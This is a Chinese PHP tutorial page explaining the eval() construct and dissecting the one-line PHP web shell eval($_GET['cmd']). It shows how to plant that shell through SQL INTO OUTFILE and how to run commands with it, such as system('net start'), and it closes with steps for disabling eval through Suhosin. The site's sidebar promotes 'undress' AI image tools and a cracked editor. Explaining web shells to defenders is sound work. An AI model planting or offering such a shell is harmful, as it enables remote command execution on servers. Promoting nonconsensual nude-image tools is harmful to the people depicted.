search
Homephp教程php手册eval函数简介与PHP一句话木马剖析

eval函数简介与PHP一句话木马剖析 大家好我是Carol,我的QQ是:906871417 一:eval函数 1. eval() 函数把字符串按照 PHP 代码来计算。 2. 该字符串必须是合法的 PHP 代码,且必须以分号结尾。 3. 如果没有在代码字符串中调用 return 语句,则返回 NULL 。如果

eval函数简介与PHP一句话木马剖析 

 

大家好我是Carol,我的QQ是:906871417

一:eval函数

1.eval() 函数把字符串按照 PHP 代码来计算。

2.该字符串必须是合法的 PHP 代码,且必须以分号结尾。

3.如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false

 

二:eval函数的一般用法

$string = "beautiful";

$time = "winter";

$str = 'This is a $string $time morning!';

echo $str. "
";

eval("\$str = \"$str\";");

echo $str;

?> 

输出

This is a $string $time morning!

This is a beautiful winter morning! 

 

三:eval函数的特殊用法

eval($_GET["cmd"]);

四:php一句话挂马的原理

 

1.通过数据库写马:

select "" into outfile "D:\\phpStudy\\WWW\\bb.php",不过这个命令是DBweb在同一台机器的时候可以这样执行

2.通过web写马

eval($_GET["cmd"]);

?>

访问:

http://localhost/aa.php?cmd=fwrite(fopen("aa.txt""w"),"hello,world!");

 eval函数简介与PHP一句话木马剖析

查看phpshell信息:

http://localhost/aa.php?cmd=phpinfo();

 eval函数简介与PHP一句话木马剖析

查看当前运行的服务

http://localhost/aa.php?cmd=system("net start");

 eval函数简介与PHP一句话木马剖析

 

 

 

五:禁用eval函数

无论是linux服务器还是windows服务器,eval命令是非常危险的

如何禁用eval命令

php.ini中这样设置disable_functions =eval是无法禁用eval的,根据php手册说明,eval是一个语言构造器而不是一个函数。如果要禁用eval,则需要第三方扩展,使Suhosin

linux下安装:

php的安装就不写了

suhosin的安装

wget http://download.suhosin.org/suhosin-0.9.23.tgz

tar zxvfsuhosin-0.9.23.tgz

cd suhosin-0.9.23

/usr/local/php/bin/phpize //这一步不能省

./configure --with-php-config=/usr/local/php/bin/php-config //必须在这儿注明php-config所在的绝对路径。

make

make install

Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/

然后在php.ini中增加一行下列语句。

extension=suhosin.so

suhosin.executor.disable_eval = on

参考文档: http://ju.outofmemory.cn/entry/29300

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

Integrate Eclipse with SAP NetWeaver application server.

Atom editor mac version download

Atom editor mac version download

The most popular open source editor

SecLists

SecLists

SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

EditPlus Chinese cracked version

EditPlus Chinese cracked version

Small size, syntax highlighting, does not support code prompt function